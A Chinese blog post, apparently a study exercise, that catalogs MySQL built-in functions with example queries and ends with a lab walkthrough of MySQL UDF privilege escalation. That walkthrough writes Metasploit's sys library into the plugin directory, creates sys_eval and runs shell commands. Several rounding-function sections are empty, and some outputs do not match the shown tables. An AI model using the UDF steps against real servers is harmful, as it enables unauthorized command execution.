MySQL 函數及其利用

個人博客文章:MySQL 函數及其利用

背景

學習目標:

  1. 學習數據庫自帶函數的功能與用法(思考在什麼情況下可以執行命令)

  2. 將所有涉及的函數進行測試並舉例說明其用法

  3. 針對自己所選數據庫,構造所需環境,嘗試執行系統命令

MySQL 函數

測試環境:

  • Ubuntu-18.04

  • MySQL 5.7.27

  • 數據表:comments,test

    mysql> select * from comments;
    +----+---------------------------+
    | id | comment                   |
    +----+---------------------------+
    |  1 | test                      |
    |  2 | hhhh                      |
    |  3 | Need lots of improvements |
    +----+---------------------------+
    mysql> select  * from test;
    +----+------+
    | id | name |
    +----+------+
    |  1 | May  |
    |  2 | June |
    |  3 | Hack |
    | 10 | Cook |
    +----+------+
    

字符串函數

字符串長度

  • length(s)
  • char_length(s)
  • character_length(s)

**描述:**返回字符串 s 的長度。

**實例:**返回字符串 “Hello World!” 的長度。

mysql> select length("Hello World");
+-----------------------+
| length("Hello World") |
+-----------------------+
|                    11 |
+-----------------------+

mysql> select char_length("Hello World"); #或者 select character_length("Hello World");
+----------------------------+
| char_length("Hello World") |
+----------------------------+
|                         11 |
+----------------------------+

字符串拼接

  • concat(s1, s2..…, sn),將多個字符串 s1, s2…… 合併爲一個字符串
  • concat_ws(separator, s1, s2, ..…),功能和 concat 函數一樣,但帶有分隔符
  • group_concat(),將同一列的內容進行拼接

concat(s1, s2..…, sn)

**描述:**將多個字符串 s1, s2…… 合併爲一個字符串,如果 s1, s2…… 中有爲 NULL 值得字符串則返回 NULL 值。

**實例:**從 comments 表中選擇 id, comment 字段,並使用 concat 函數合併爲 info 字段。

mysql> select concat(id,' ',comment) as info from comments;
+-----------------------------+
| info                        |
+-----------------------------+
| 1 test                      |
| 2 hhhh                      |
| 3 Need lots of improvements |
+-----------------------------+

concat_ws(separator, s1, s2, ..…)

**描述:**功能和 concat 函數一樣,但帶有分隔符,如果分隔符爲 NULL,則函數返回 NULL,而字符串爲 NULL 則略過。

**實例:**從 comments 表中選擇 id, comment, comment 字段,並使用 concat_ws 函數, 以 “,” 爲分隔符,合併爲 infos 字段。

mysql> select concat_ws(',',id,comment,comment) as infos from comments;
+-------------------------------------------------------+
| infos                                                  |
+-------------------------------------------------------+
| 1,test,test                                           |
| 2,hhhh,hhhh                                           |
| 3,Need lots of improvements,Need lots of improvements |
+-------------------------------------------------------+

group_concat()

描述: 比較直觀的理解是 concat()concat_ws() 將不同列的同一行內容進行拼接,而group_concat() 將同一列的內容進行拼接。

語法:

GROUP_CONCAT([DISTINCT] expr [,expr ...] # distinct,表示插敘的結果不能重複
             [ORDER BY {unsigned_integer | col_name | expr}
                 [ASC | DESC] [,col_name ...]]
             [SEPARATOR str_val]) # seperator:拼接分隔符,默認爲 ','

實例:

mysql> select group_concat(comment order by comment separator '|') from comments;
+----------------------------------------------------------------+
| group_concat(comment order by comment separator '|')           |
+----------------------------------------------------------------+
| Come on!|Come on!|Come on!|hhhh|Need lots of improvements|test |
+----------------------------------------------------------------+

字符串查找

  • field(sv, v1, v2..…),在列表 v1, v2… 中 查找值 sv 的位置
  • find_in_set(sv, slist),搜索值 sv 在字符串列表 slist 中得位置,slist 中的值以 “,” 分開
  • instr(string, substring) | locate(substring, string, [start]) | position(subtring in string) , locate(),函數可指定從字符串 string 的 start 位置處開始搜索 substring

field(sv, v1, v2..…)

**描述:**搜索值 sv 在列表 v1, v2…… 中得位置,如果 sv 爲 NULL 或者 sv 不在列表中則返回0值。

實例:

mysql> select field('a', 'Happy','day','A','a');
+-----------------------------------+
| field('a', 'Happy','day','A','a') | #可見搜索不區分大小寫,返回第一次搜索值出現得位置
+-----------------------------------+
|                                 3 |
+-----------------------------------+
# 在表中查找
mysql> select field('hhhh', group_concat(comment)) from comments;
+------------------------+
| field('hhhh', comment) |
+------------------------+
|                      0 |
|                      1 |
|                      0 |
|                      0 |
|                      0 |
|                      0 |
+------------------------+

find_in_set(sv, slist)

**描述:**搜索值 sv 在字符串列表 slist 中得位置,slist 中的值以 “,” 分開。如果值 sv 不在列表中獲知 slist 爲空字符串,則返回 0,如果 slist 爲 NULL,則返回 NULL。

實例:

mysql> select find_in_set('a', 'Not an, easy,question,a,A,a');
+-------------------------------------------------+
| find_in_set('a', 'Not an, easy,question,a,A,a') |
+-------------------------------------------------+
|                                               4 |
+-------------------------------------------------+
#slist 中的值是以","作爲分隔符,分隔符之間的內容都是值的內容,包括空格。
mysql> select find_in_set('a', 'Not an, easy,question, a,A,a');
+--------------------------------------------------+
| find_in_set('a', 'Not an, easy,question, a,A,a') |
+--------------------------------------------------+
|                                                5 |
+--------------------------------------------------+

instr(string, substring) | locate(substring, string, [start]) | position(substring in string)

**描述:**查找字符串 substring 在 string 中出現的位置,如果 substring 不在 string 中,返回 0 。locate()`函數可指定從字符串 string 的 start 位置處開始搜索 substring。

實例:

mysql> select instr("Proud of you!", "you");
+-------------------------------+
| instr("Proud of you!", "you") |
+-------------------------------+
|                            10 |
+-------------------------------+

mysql> select locate("you", "Proud of you!");
+--------------------------------+
| locate("you", "Proud of you!") |
+--------------------------------+
|                             10 |
+--------------------------------+

mysql> select locate("you", "Proud of you!", 11); #從第11個字符開始搜索,搜索失敗
+------------------------------------+
| locate("you", "Proud of you!", 11) |
+------------------------------------+
|                                  0 |
+------------------------------------+

字符串修改

  • insert(s1, pos, num, s2) , 字符串插入

  • replace(s, olds, news),字符串替換

  • lpad(s, len, pads) | rpad(s, len, pads),字符串填充

  • trim(s) | ltrim(s) | rtrim(s),字符串裁剪,去首位空格

  • lcase(s) | lower(s) ,字符串英文小寫

  • ucase(s) | uppser(s),字符串英文大寫

  • reverse(s) ,字符串逆序

insert(s1, pos, num, s2)

描述: 在字符串 s1 位置插入字符串 s2, num 表示要替換的字符數,如果不需要替換,則使用 0 值。

實例:

#替換式插入
mysql> select insert("What a bad day!", 8, 3,"good");
+----------------------------------------+
| insert("What a bad day!", 8, 3,"good") |
+----------------------------------------+
| What a good day!                       |
+----------------------------------------+
#不進行替換,直接插入
mysql> select insert("What a bad day!", 8, 0,"good");
+----------------------------------------+
| insert("What a bad day!", 8, 0,"good") |
+----------------------------------------+
| What a goodbad day!                    |
+----------------------------------------+
#pos 值不在範圍內,範圍字符串 s1
mysql> select insert("What a bad day!", 0, 3,"good");
+----------------------------------------+
| insert("What a bad day!", 0, 3,"good") |
+----------------------------------------+
| What a bad day!                        |
+----------------------------------------+
#pos+num 大於字符串 s1 長度,替換 pos 位置後的全部字符
mysql> select insert("What a bad day!", 8, 20,"good");
+-----------------------------------------+
| insert("What a bad day!", 8, 20,"good") |
+-----------------------------------------+
| What a good                             |
+-----------------------------------------+

replace(s, olds, news)

**描述:**替換字符串 s 中的子字符串 olds 爲 news。

實例:

mysql> select replace("What a bad day!", "bad", "good");
+-------------------------------------------+
| replace("What a bad day!", "bad", "good") |
+-------------------------------------------+
| What a good day!                          |
+-------------------------------------------+

lpad(s, len, pads) | rpad(s, len, pads)

**描述:**使用字符串 pads 填充字符串 s ,至長度爲 len。

實例:

#左填充
mysql> select lpad("12345", 10, "0");
+------------------------+
| lpad("12345", 10, "0") |
+------------------------+
| 0000012345             |
+------------------------+
#右填充
mysql> select rpad("12345", 10, "0");
+------------------------+
| rpad("12345", 10, "0") |
+------------------------+
| 1234500000             |
+------------------------+

trim(s) | ltrim(s) | rtrim(s)

**描述:**去除字符串首尾的空格。

實例:

mysql> select trim("     Too many spaces           ");
+-----------------------------------------+
| trim("     Too many spaces           ") |
+-----------------------------------------+
| Too many spaces                         |
+-----------------------------------------+
#首部去空格
mysql> select ltrim("     Too many spaces           ");
+------------------------------------------+
| ltrim("     Too many spaces           ") |
+------------------------------------------+
| Too many spaces                          |
+------------------------------------------+
#尾部去空格
mysql> select concat(rtrim("     Too many spaces          "), "!");
+------------------------------------------------------+
| concat(rtrim("     Too many spaces          "), "!") |
+------------------------------------------------------+
|      Too many spaces!                                |
+------------------------------------------------------+

lcase(s) | lower(s)

**描述:**字符串英文小寫。

實例:

mysql> select lcase("AllToLower");
+---------------------+
| lcase("AllToLower") |
+---------------------+
| alltolower          |
+---------------------+

ucase(s) | uppser(s)

**描述:**字符串英文大寫。

實例:

mysql> select ucase("AllToUpper");
+---------------------+
| ucase("AllToUpper") |
+---------------------+
| ALLTOUPPER          |
+---------------------+

reverse(s)

**描述:**字符串逆序。

實例:

mysql> select reverse("12345");
+------------------+
| reverse("12345") |
+------------------+
| 54321            |
+------------------+

子字符串提取

  • mid(string, start, len) | substr(string, start, len) | sbustring(string, start, len), 任意提取子字符串
  • left(string, num) | right(string, num),提取左/右子字符串
  • sbustring_index(s, delimiter, num),提取第 num 個分隔符 delimiter 前的子字符串

``mid(string, start, len)|substr(string, start, len)|sbustring(string, start, len)`

**描述:**在 string start 位置提取長度爲 len 的子字符串。

實例:

mysql> select substr("123456789", 3, 3);
+---------------------------+
| substr("123456789", 3, 3) |
+---------------------------+
| 345                       |
+---------------------------+

mysql> select mid("123456789", 3, 3);
+------------------------+
| mid("123456789", 3, 3) |
+------------------------+
| 345                    |
+------------------------+

left(string, num) | right(string, num)

**描述:**從字符串首部/尾部,提取長度爲 num 的子字符串。

實例:

#首部提取
mysql> select left("123456789", 3);
+----------------------+
| left("123456789", 3) |
+----------------------+
| 123                  |
+----------------------+
#尾部提取
mysql> select right("123456789", 3);
+-----------------------+
| right("123456789", 3) |
+-----------------------+
| 789                   |
+-----------------------+

sbustring_index(s, delimiter, num)

**描述:**提取第 num 個分隔符 delimiter 前的子字符串,num 值爲正數則從右到左數起,爲負數則從左到右數起。

實例:

mysql> select substring_index("www.youtellme.org", ".", 1);
+----------------------------------------------+
| substring_index("www.youtellme.org", ".", 1) |
+----------------------------------------------+
| www                                          |
+----------------------------------------------+

mysql> select substring_index("www.youtellme.org", ".", -1);
+-----------------------------------------------+
| substring_index("www.youtellme.org", ".", -1) |
+-----------------------------------------------+
| org                                           |
+-----------------------------------------------+

字符串比較

strcmp(s1, s2),比較字符串的大小

描述:

  • s1 = s2,返回 0
  • s1 < s2,返回 -1
  • s1 > s2,返回 1

實例:

mysql> select strcmp("abc", "Abc");
+----------------------+
| strcmp("abc", "Abc") |  #不區分大小寫
+----------------------+
|                    0 |
+----------------------+

#按次序比較
mysql> select strcmp("abcd", "abdc");
+------------------------+
| strcmp("abcd", "abdc") |
+------------------------+
|                     -1 |
+------------------------+
#按次序比較
mysql> select strcmp("b", "abdc");
+---------------------+
| strcmp("b", "abdc") |
+---------------------+
|                   1 |
+---------------------+

其它操作

  • ascii(s),返回字符串 s 第一個字符的 ASCII
  • repeat(string, num),生成重複字符串
  • space(num),生成全空格字符串
  • format(num, n), 將數 num 格式化爲 “xxx,xxx. xx”形式

ascii(s)

**描述:**返回字符串 s 的第一個字符的 ASCII 碼。

**實例:**返回 comments 表中 comment 列的的第一個字符的 ASCII 碼。

mysql> select comment,ascii(comment)as ASCIIOfFirstChar from comments;
+---------------------------+------------------+
| comment                   | ASCIIOfFirstChar |
+---------------------------+------------------+
| test                      |              116 |
| hhhh                      |              104 |
| Need lots of improvements |               78 |
+---------------------------+------------------+

repeat(string, num)

**描述:**生成重複字符串 string num 次的字符串。

實例:

mysql> select repeat("Ha", 3);
+-----------------+
| repeat("Ha", 3) |
+-----------------+
| HaHaHa          |
+-----------------+

space(num)

**描述:**生成 num 個空格的字符串。

實例:

mysql> select concat('some',space(4),'space');
+---------------------------------+
| concat('some',space(4),'space') |
+---------------------------------+
| some    space                   |
+---------------------------------+

format(num, n),

**描述:**將數 num 格式化爲 “xxx,xxx. xx”形式

實例:

mysql> select format(201910.0100, 2);
+------------------------+
| format(201910.0100, 2) |
+------------------------+
| 201,910.01             |
+------------------------+

數值函數

統計函數

  • greatest(v1, v2...) | least(v1, v2...),最大/最小值
  • max(exp) | min(exp),列中的最大/最小值
  • sum(exp) ,求列和
  • avg(exp),求列均值
  • count(exp),統計查詢返回的行數

greatest(v1, v2...) | least(v1, v2...)

**描述:**返回一系列數的最大/最小值

實例:

mysql> select greatest(1, 3, 5, 7, 0);
+-------------------------+
| greatest(1, 3, 5, 7, 0) |
+-------------------------+
|                       7 |
+-------------------------+

mysql> select least(1, 3, 5, 7, 0);
+----------------------+
| least(1, 3, 5, 7, 0) |
+----------------------+
|                    0 |
+----------------------+

max(exp) | min(exp)

**描述:**返回表達式 exp 計算後的最大/最小值

實例:

#列值
mysql> select max(id) from comments;
+---------+
| max(id) |
+---------+
|       3 |
+---------+
mysql> select min(id) from comments;
+---------+
| min(id) |
+---------+
|       1 |
+---------+
#表達式
mysql> select max(pow(id, 3) + 2) from comments;
+---------------------+
| max(pow(id, 3) + 2) |
+---------------------+
|                  29 |
+---------------------+

sum(exp)

**描述:**返回表達式計算後系列數的和

實例:

#列值求和
mysql> select sum(id) from comments;
+---------+
| sum(id) |
+---------+
|       6 |
+---------+
#表達式計算後求和
mysql> select sum(pow(id, 2)) from comments;
+-----------------+
| sum(pow(id, 2)) |
+-----------------+
|              14 |
+-----------------+

avg(exp)

**描述:**返回表達式計算後系列數的均值

實例:

#列值
mysql> select avg(id) from comments;
+---------+
| avg(id) |
+---------+
|  2.0000 |
+---------+
#表達式
mysql> select avg(pow(id, 2)) from comments;
+-------------------+
| avg(pow(id, 2))   |
+-------------------+
| 4.666666666666667 |
+-------------------+

count(exp)

**描述:**返回查詢的行數

實例:

#統計 id 數
mysql> select count(id) from comments;
+-----------+
| count(id) |
+-----------+
|         3 |
+-----------+

取整函數

  • abs(num),求絕對值,num|num|
  • ceil(num) | ceiling(num),取上整數,num\lceil{num}\rceil
  • floor(num) ,取下整數,num\lfloor{num}\rfloor
  • round(num, [decimals]),取約數,四捨五入
  • truncate(num, decimals),截斷小數部分
  • div(x, y),x 除以 y,返回一個整數
  • mod(x, y) | x mod y | x % y,x 模 y

abs(num)

描述:

實例:

mysql

ceil(num) | ceiling(num)

**描述:**取上整數

實例:

mysql

floor(num)

描述:

實例:

mysql

round(num, [decimals])

描述:

實例:

mysql

truncate(num, decimals)

描述:

實例:

mysql

div(x, y)

描述:

實例:

mysql

mod(x, y) | x mod y | x % y

描述:

實例:

mysql

冪函數

  • pow(x, y) | power(x, y)xyx^y
  • sqrt(num)num\sqrt{num},負數返回 NULL

實例:

# 2 的 3 次方
mysql> select pow(2, 3);
+-----------+
| pow(2, 3) |
+-----------+
|         8 |
+-----------+
# 9 的根
mysql> select sqrt(9);
+---------+
| sqrt(9) |
+---------+
|       3 |
+---------+

指數和對數

  • exp(num)enume^{num}
  • ln(num),求自然對數, ln(num)ln(num),num 要大於0,否則返回 NULL
  • log(m, n)logm(n)log_m(n),n 要大於0 且 m 大於1,否則返回 NULL
  • log2(n),求 2 爲底 n 的對數,log2(n)log_2(n),n 要大於0,否則返回 NULL
  • log10(n),求 10 爲底 n 的對數,log10(n)log_{10}(n),n 要大於0,否則返回 NULL

實例:

mysql> select exp(1); #自然對數 e
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+
mysql> select ln(exp(2));
+------------+
| ln(exp(2)) |
+------------+
|          2 |
+------------+
mysql> select log(3, 9); #3 爲底 9 的對數
+-----------+
| log(3, 9) |
+-----------+
|         2 |
+-----------+
mysql> select log2(0); #n 不大於 0,返回 NULL
+---------+
| log2(0) |
+---------+
|    NULL |
+---------+

三角函數

  • sin(num),求正弦
  • cos(num),求餘弦
  • tan(num),求正切
  • cot(num),求餘切

實例:

mysql> select sin(pi()/2);
+-------------+
| sin(pi()/2) |
+-------------+
|           1 |
+-------------+
mysql> select sin(pi()); # sin(pi) 不爲0,因爲這裏 pi 是個約數,實際的 pi 是無效不循環數
+------------------------+
| sin(pi())              |
+------------------------+
| 1.2246467991473532e-16 |
+------------------------+

mysql> select sin(pi()/2);
+-------------+
| sin(pi()/2) |
+-------------+
|           1 |
+-------------+

反三角函數

  • asin(num),求反正弦,返回一個弧度值

  • acos(num),求反餘弦,返回一個弧度值

  • atan(num),求反正切,返回一個弧度值

  • acot(num),求反餘切,返回一個弧度值

  • atan2(n1, n2),求兩個數的反正切,返回弧度值

實例:

mysql> select asin(1); #約等於 pi/2
+--------------------+
| asin(1)            |
+--------------------+
| 1.5707963267948966 |
+--------------------+

mysql> select pi()/2;
+--------------+
| pi()/2       |
+--------------+
| 1.5707963268 |
+--------------+

其它函數

  • pi(),求 π\pi
  • degrees(num),求弧度 num 的角度值
  • radians(num),求角度 num 的弧度值
  • rand([seed]),取 [0, 1) 的隨機數,可設置種子 seed,生成相同的隨機數
  • sign(num),返回數 num 的符號,正數爲1,負數爲-1,0 爲 0

實例:

mysql> select degrees(2*pi()); # 2*pi 弧度爲 360 角度
+-----------------+
| degrees(2*pi()) |
+-----------------+
|             360 |
+-----------------+
mysql> select radians(180); # 180度爲 pi 弧度
+-------------------+
| radians(180)      |
+-------------------+
| 3.141592653589793 |
+-------------------+
mysql> select rand(); #[0,1)的隨機數
+--------------------+
| rand()             |
+--------------------+
| 0.9826734987857505 |
+--------------------+
mysql> select rand(), rand(1), rand(1); #相同的種子生成相同隨機數
+--------------------+---------------------+---------------------+
| rand()             | rand(1)             | rand(1)             |
+--------------------+---------------------+---------------------+
| 0.8894535832940168 | 0.40540353712197724 | 0.40540353712197724 |
+--------------------+---------------------+---------------------+

高級函數

進制轉換

  • bin(num),將一個數字轉換爲二進制表示的數字,類型爲字符串
  • hex(value)
  • conv(num, from_base, to_base),將一個數字從一個進制轉換到另一個進制進行表示

實例:

# 二進制表示
mysql> select bin(9), bin(4), bin(2);
+--------+--------+--------+
| bin(9) | bin(4) | bin(2) |
+--------+--------+--------+
| 1001   | 100    | 10     |
+--------+--------+--------+
# 10進制轉16進制和2進製表示
mysql> select conv(16, 10, 16), conv(16, 10, 2);
+------------------+-----------------+
| conv(16, 10, 16) | conv(16, 10, 2) |
+------------------+-----------------+
| 10               | 10000           |
+------------------+-----------------+

類型轉換

  • binary value,將值轉換成二進制字符串,注意和 bin() 轉換成二進制形式的數字表示不同。
  • cast(v as t),將值 v 轉換成類型 t 表示
  • convert(v, t) | convert(v using charset),將值 v 轉換成類型 t 表示,或 使用字符集 charset 表示

可轉換的數據類型:

類型值 描述
DATE 格式: “YYYY-MM-DD”
DATETIME 格式: “YYYY-MM-DD HH:MM:SS”
TIME 格式: “HH:MM:SS”
CHAR 字符類型(固定長度的字符串)
SIGNED 64 位帶符號整數
UNSIGNED 64位不帶符號整數
BINARY 二進制字符串

實例:

#正常字符串,比較不分大小寫,所以比較結果相同
mysql> select "a" = "A"; 
+-----------+
| "a" = "A" |
+-----------+
|         1 |
+-----------+
#但二進制字符串中 "a" 和 "A" 是不同的
mysql> select binary "a" = binary "A";
+-------------------------+
| binary "a" = binary "A" |
+-------------------------+
|                       0 |
+-------------------------+
#轉換成類型 DATETIME
mysql> select cast("2019-08-23 15:59:59" as datetime);
+-----------------------------------------+
| cast("2019-08-23 15:59:59" as datetime) |
+-----------------------------------------+
| 2019-08-23 15:59:59                     |
+-----------------------------------------+
#使用 gbk 字符集,表示中文
mysql> select convert("中國" using gbk);
mysql> select convert("中國" using utf8);
+------------------------------+
| convert("中國" using utf8)   |
+------------------------------+
| 中國                         |
+------------------------------+

條件判斷函數

  • case,返回第一個滿足條件的值,語法
    CASE
    WHEN *condition1* THEN *result1*
    WHEN *condition2* THEN *result2*
    WHEN *conditionN* THEN *resultN*
    ELSE *result*
    END;
  • if(con, t, f),滿足條件,執行 t 語句,反之,f 語句
  • ifnull(expr, v),如果 expr 表達式值爲 NULL,返回 v
  • isnull(expr),判斷 表達式 expr 值是否爲 NULL,是返回 1,反之爲 0
  • nullif(expr1, expr2),如何兩個表達式值相同,返回 NULL,反之返回 expr1

實例:

# case 語句
mysql> select id, name, case when id>=1 and id<3 then "p1" when id>2 and id<5 then "p2" else "p3" end as info  from test;
+----+------+------+
| id | name | info |
+----+------+------+
|  1 | May  | p1   |
|  2 | June | p1   |
|  3 | Hack | p2   |
| 10 | Cook | p3   |
+----+------+------+
# if(con, t, f)
mysql> select *, if(id>2, "p1", "p2") as part from test;
+----+------+------+
| id | name | part |
+----+------+------+
|  1 | May  | p2   |
|  2 | June | p2   |
|  3 | Hack | p1   |
| 10 | Cook | p1   |
+----+------+------+
# ifnull(expr, v)
mysql> select ifnull(NULL, "expr is null") as value;
+--------------+
| value        |
+--------------+
| expr is null |
+--------------+
# nullif(expr1, expr2)
mysql> select nullif("100", 100); #數字和字符一樣
+--------------------+
| nullif("100", 100) |
+--------------------+
| NULL               |
+--------------------+
# 不分大小寫
mysql> select nullif("Case","cAse" );
+------------------------+
| nullif("Case","cAse" ) |
+------------------------+
| NULL                   |
+------------------------+

數據庫信息

  • current_user(),MySQL 授權的用戶名和主機名
  • user() | session_user() | system_user(),當前連接的用戶名和主機名
  • database(),當前數據庫
  • connection_id(),當前 連接的 ID
  • version(),MySQL 版本號

實例:

# current_user() 和 user()|session_user()| system_user() 的區別,只有一個用戶名具有多個主機纔有區別,如 username@%
# 在服務器主機登陸,這四個都是一樣的主機名 localhost
mysql> select  current_user(), user(), session_user(), system_user();
+-------------------+-------------------+-------------------+-------------------+
| current_user()    | user()            | session_user()    | system_user()     |
+-------------------+-------------------+-------------------+-------------------+
| user102@localhost | user102@localhost | user102@localhost | user102@localhost |
+-------------------+-------------------+-------------------+-------------------+
# 在客戶端用進行遠程登陸,主機名會改變
mysql> select  current_user(), user();
+-------------------+----------------------+
| current_user()    | user()               |
+-------------------+----------------------+
| user102@%         | [email protected] |
+-------------------+----------------------+

加解密

  • hex(value) | unhex(value),轉換成 16 進制的字符串表示,或從 16 進制字符串轉回正常的字符串表示
  • to_base64(s) | from_base64(s) ,轉換成 base64 編碼的字符串或者從 base64 編碼的字符串轉回正常的字符串表示
  • encode(s, p) | decode(s, p),將字符串 s 使用密碼 p 進行 加解密
  • compress(s) | uncompress(s) 壓縮或解壓 s

實例:

mysql> select unhex('hhhh, who are you!');
+-----------------------------+
| unhex('hhhh, who are you!') |
+-----------------------------+
| NULL                        |
+-----------------------------+
mysql> select unhex(hex('hhhh, who are you!'));
+----------------------------------+
| unhex(hex('hhhh, who are you!')) |
+----------------------------------+
| hhhh, who are you!               |
+----------------------------------+

mysql> select to_base64('hhhh, who are you!');
+---------------------------------+
| to_base64('hhhh, who are you!') |
+---------------------------------+
| aGhoaCwgd2hvIGFyZSB5b3Uh        |
+---------------------------------+
mysql> select from_base64(to_base64('hhhh, who are you!'));
+----------------------------------------------+
| from_base64(to_base64('hhhh, who are you!')) |
+----------------------------------------------+
| hhhh, who are you!                           |
+----------------------------------------------+
# 加解密
mysql> select decode(encode('string', 'hhh'), 'hhh');
+----------------------------------------+
| decode(encode('string', 'hhh'), 'hhh') |
+----------------------------------------+
| string                                 |
+----------------------------------------+
# 壓縮和解壓
mysql> select uncompress(compress("What the hell!"));
+----------------------------------------+
| uncompress(compress("What the hell!")) |
+----------------------------------------+
| What the hell!                         |
+----------------------------------------+

其它函數

  • coalesce(v1, v2, ...),返回列表中第一個非 NULL 值
  • last_insert_id([expr]),返回當表中 最新行的 AUTO_INCREMENT 屬性的 id 值

實例:

mysql> select coalesce(null, "not null", 3);
+-------------------------------+
| coalesce(null, "not null", 3) |
+-------------------------------+
| not null                      |
+-------------------------------+

mysql> select last_insert_id();
+------------------+
| last_insert_id() |
+------------------+
|               10 |
+------------------+

日期函數

MySQL 中關於日期的函數特別多,好像在 SQL 注入過程中不常用到,還是稍微總結下。

當前日期和時間

MySQL 中日期表示的格式爲 “YYYY-MM-DD”,時間表示的格式爲 “HH-MM-SS”,日期和時間一起表示爲 “YYYY-MM-DD HH-MM-SS”。

  • curdate() | current_date(),返回 "YYYY-MM-DD"格式的字符串 或者YYYYMMDD 格式的數字

  • curtime() | current_time(),返回 “HH-MM-SS” 格式的字符串 或者 HHMMSS.uuuuuu 格式的數字

  • current_timestamp() | now() | systdate(),返回當前日期和時間,格式不變

  • localtime() | local_timestamp(),返回當前日期和時間,格式不變

實例:

mysql> select current_date(), curdate();
+----------------+------------+
| current_date() | curdate()  |
+----------------+------------+
| 2019-08-24     | 2019-08-24 |
+----------------+------------+

mysql> select current_time(), curtime();
+----------------+-----------+
| current_time() | curtime() |
+----------------+-----------+
| 07:38:16       | 07:38:16  |
+----------------+-----------+

mysql> select current_timestamp(), now(), sysdate();
+---------------------+---------------------+---------------------+
| current_timestamp() | now()               | sysdate()           |
+---------------------+---------------------+---------------------+
| 2019-08-24 07:40:04 | 2019-08-24 07:40:04 | 2019-08-24 07:40:04 |
+---------------------+---------------------+---------------------+

mysql> select localtime(), localtimestamp();
+---------------------+---------------------+
| localtime()         | localtimestamp()    |
+---------------------+---------------------+
| 2019-08-24 07:40:49 | 2019-08-24 07:40:49 |
+---------------------+---------------------+

MySQL 執行系統命令

使用 system shell-cmd

在 MySQL 的命令行界面中可以使用 system shell-cmd 或者\! shell-cmd 格式執行 shell 命令。

實例:

mysql> \! pwd  # 顯示當前目錄
/home/jaylen
mysql> \! ls # 當前目錄內容
Desktop    Downloads	     less   Pictures  Templates  Videos
Documents  examples.desktop  Music  Public    test.txt	 work
mysql> \! cat ./work/test  # 使用 cat 查看文件內容
1	jack
2	jackit

也可以打開一個新的 shell,關閉 shell (使用 exit 或者 CTRL D)後返回 MySQL 命令行界面。

mysql> \! bash  # 打開終端
jaylen@ubuntu:~$ cd work/  # 返回到 設立了
jaylen@ubuntu:~/work$ ls
DVWA  hashcat-5.1.0  neo  suctf  test  test.csv
jaylen@ubuntu:~/work$ eixt
eixt: command not found
jaylen@ubuntu:~/work$ exit # 關閉 shell
exit
mysql> 

MySQL UDF 提權

背景

UDF 爲 “User-Defined Function” 的所寫,即用戶自定義函數。MySQL 允許用戶添加新的函數,其中一種方法就是通過其提供的 UDF 接口,添加用戶自定義函數。用戶自定義函數可以使用 C/C++ 語言編寫並編譯成庫文件(其它語言也可以,只要能編譯成共享庫文件),放到 MySQL 指定的目錄下,以便 MySQL 能動態加載用戶自定義的函數。

使用 UDF 可以加載自定義的函數,因此可以通過自定義函數執行各種操作,關於用戶自定義函數的編寫可參考,Extending MySQL

使用 UDF

那麼如何使用 UDF 進行提權呢?

前提條件:

  1. MySQL 用戶能寫文件到 MySQL 指定的自定義函數庫存放目錄。

  2. MySQL 用戶具有 INSERT 權限,才能使用 CREATE FUNCTION語句在 MySQL 中添加自定義的函數,此外如果使用 DROP FUNCTION 語句刪除自定義函數,還需要有 DELETE 權限。

實驗環境:

  • 攻擊主機:Kali Linux
  • MySQL 服務器主機:owaspbwa

步驟:

  1. 根據目標系統(MySQL服務器主機)的類型,準備好相應的可加載的庫文件,網上有不少 UDF 的庫文件,這裏使用 Metasploit 自帶的 UDF 庫,Kali 主機上 find / -name '*mysqludf*' 進行搜索,可以看到可用的庫文件,GitHub上也有,這裏根據系統類型使用 lib_mysqludf_sys_32.so
# 查看系統類型
MySQL [pwn]> show variables like "%compile%";
+-------------------------+------------------+
| Variable_name           | Value            |
+-------------------------+------------------+
| version_compile_machine | i486             |
| version_compile_os      | debian-linux-gnu |
+-------------------------+------------------+
  1. 將自定義函數的庫文件放到 MySQL 指定的文件目錄下,這個文件目錄和 MySQL 的版本相關。
# MySQL 版本 < 5.0.67, 放在能別系統的鏈接器檢索的文件夾即可,通常系統目錄都是行的,如在 Windows中,C:\\WINDOWS\\ 或者 C:\\WINDOWS\\system32\\
# MySQL 版本 >= 5.0.67, 指定在 plugin_dir 目錄下
mysql> select @@plugin_dir;
+------------------------+
| @@plugin_dir           |
+------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------+
# 將 UDF 庫文件寫到 plugin_dir 目錄中,前提是可以寫文件到 plugin_dir 目錄中
# 將 庫文件轉換成 16進制字符存儲,而後寫入到表中,最終存到 plugin_dir 目錄中,
# Kali Linux 上的 MySQL
MariaDB [(none)]> select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so')) into dumpfile '/tmp/udf.hex';
Query OK, 1 row affected (0.01 sec)
# 遠程登陸的 MySQL,從 Kali Linux上傳,使用 local 關鍵字
MySQL [pwn]> load data local infile '/tmp/udf.hex' into table udf(data);
Query OK, 1 row affected (0.00 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 0
# 將自定義庫存到指定目錄
MySQL [pwn]> select unhex(data) from udf into dumpfile '/usr/lib/mysql/plugin/udf.so';
Query OK, 1 row affected (0.00 sec)
  1. 在 MySQL 命令行中加載自定義函數
# 創建自定義函數
MySQL [pwn]> create function sys_eval returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)
# 使用
MySQL [pwn]> select sys_eval('ls /');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| sys_eval('ls /')                                                                                                                                           |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| bin
boot
cdrom
dev
etc
  1. 從 MySQL 中刪除自定義函數
# 刪除函數
MySQL [pwn]> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)

參考

  1. MySQL Functions

  2. MySQL 函數 | 菜鳥教程

  3. Executing shell commands from within the MySQL command line client

  4. MySQL UDF Exploitation

  5. Adding New Functions to MySQL

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章